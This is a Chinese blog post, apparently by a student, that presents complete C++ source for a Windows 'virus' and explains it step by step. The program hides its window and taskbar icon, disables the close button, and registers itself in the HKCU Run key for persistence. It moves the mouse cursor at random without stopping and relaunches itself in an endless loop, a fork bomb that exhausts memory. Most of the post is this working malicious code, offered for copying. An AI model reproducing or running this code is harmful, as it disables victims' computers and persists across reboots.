C++小病毒(通用加强版)

C++小病毒(通用加强版),第1张

目录

闲扯一会儿

进入正题

宏、头文件、命名空间

隐藏任务栏图标、禁用关闭键

检查是否第一次打开

提示语、开机启动、保存

提示语

开机启动

保存

开线程

隐藏控制台

抢内存

代码封装

再扯一会儿


闲扯一会儿

嘿嘿嘿!我又来了!

我们班计算机课在周五,由于节假日我们学校放得早,所以上周清明节放假就没上计算机课。


计算机老师为了“弥补”这个“遗憾”,有一个特殊机制:

一道编程题,班上只要有一个同学做出来,全班就可以“解放”。


老师刚说完,一个同学(他是男的)就抱起了我(我也是男的)(因为我很轻),全班都把希望的“矛头”指向我。


于是我就开干了。


题很简单,用什么语言都行,我当然用C++(不过我还是会一点点Python的)。


不到十分钟,我就做出来了。


全班欢呼着,那个男同学又把我抱起来。


老师还给了我10积分,真好!接下来就可以自由活动了。


 我上周不是写了一篇文章吗?

C++小病毒(VS版)

我想着那病毒,于是向老师申请开网,老师同意了。


于是我把病毒代码复制过来,由于我在学校用的是Dev-C++,在稍作修改(不影响整体效果)后,开始运行。


可出现了以下问题:

1、任务栏图标并没有隐藏(在C++小病毒(VS版)中已经改了小标题)。


2、提示栏每次都要d出,如果忽略你在鼠标乱移时刚好点到“确定”的情况,就会导致复制的程序无法再次复制自己。


所以就有了这篇文章。


进入正题 宏、头文件、命名空间
#define _CRT_SECURE_NO_WARNINGS //strcat()所需
#include              //输入输出
#include                //字符串处理
#include             //Windows系统
#include                //线程
#include               //_T()等
#include               //读取与保存
using namespace std;            //为了方便
隐藏任务栏图标、禁用关闭键

这个还算简单。


//隐藏任务栏图标
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
//禁用关闭键
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hWnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, style);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);
检查是否第一次打开

其实就是打开一个文档,读取内容,再进行一个判断。


int check = 0;
fstream in("save.txt");
in >> check;
in.close();
if (check != 1)
{
    //是第一次打开
}
//不是第一次打开
提示语、开机启动、保存

这部分在判断语句中写。


提示语
cout << "该程序是病毒!后果自负!" << endl;
Sleep(3000);
开机启动

见C++小病毒(VS版)

保存

为了让复制的程序知道它不是第一次被打开。


ofstream out("save.txt");
out << 1;
out.close();
开线程

写一个乱移鼠标的线程函数。


int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
    srand(time(0));
    while (1)
    {
        SetCursorPos(rand() % x, rand() % y);
    }
    return 0L;
}

在刚刚的判断中写上一句。


HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
隐藏控制台

在主函数中写。


hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
if (hWnd)
{
    ShowWindow(hWnd, SW_HIDE);
}
抢内存

在主函数中写。


while (1)
{
    char s[100] = "start ";
    system(strcat(s, argv[0]));
}
代码封装

完整代码见下。


#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include
#include
#include
#include
using namespace std;
int check = 0;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
    srand(time(0));
    while (1)
    {
        SetCursorPos(rand() % x, rand() % y);
    }
    return 0L;
}
int main(int argc, char** argv)
{
    HWND hWnd = GetConsoleWindow();
    SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
    HMENU hmenu = GetSystemMenu(hWnd, false);
    RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
    LONG style = GetWindowLong(hWnd, GWL_STYLE);
    style &= ~(WS_MINIMIZEBOX);
    SetWindowLong(hWnd, GWL_STYLE, style);
    SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
    ShowWindow(hWnd, SW_SHOWNORMAL);
    DestroyMenu(hmenu);
    ReleaseDC(hWnd, NULL);
    fstream in("save.txt");
    in >> check;
    in.close();
    if (check != 1)
    {
        cout << "该程序是病毒!后果自负!" << endl;
        Sleep(3000);
        HKEY hKey;
        if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\Microsoft\Windows\CurrentVersion\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
        {
            TCHAR strExeFullDir[MAX_PATH];
            GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
            TCHAR strDir[MAX_PATH] = {};
            DWORD nLength = MAX_PATH;
            long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
            if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
            {
                RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
                RegCloseKey(hKey);
            }
        }
        HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
        CloseHandle(hThread);
        ofstream out("save.txt");
        out << 1;
        out.close();
    }
    hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
    if (hWnd)
    {
        ShowWindow(hWnd, SW_HIDE);
    }
    while (1)
    {
        char s[100] = "start ";
        system(strcat(s, argv[0]));
    }
    return 0;
}
再扯一会儿

这次其实就把提示框改成了一句话,加了个check变量,加了几句隐藏任务栏图标的代码而已,代码也不算长。


哦,对了,再提一嘴,有虚拟机的帮忙看看。


好像该扯的都扯完了。


算了,早点睡了,拜拜!

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/578048.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-11
下一篇 2022-04-11

发表评论

登录后才能评论

评论列表(0条)

保存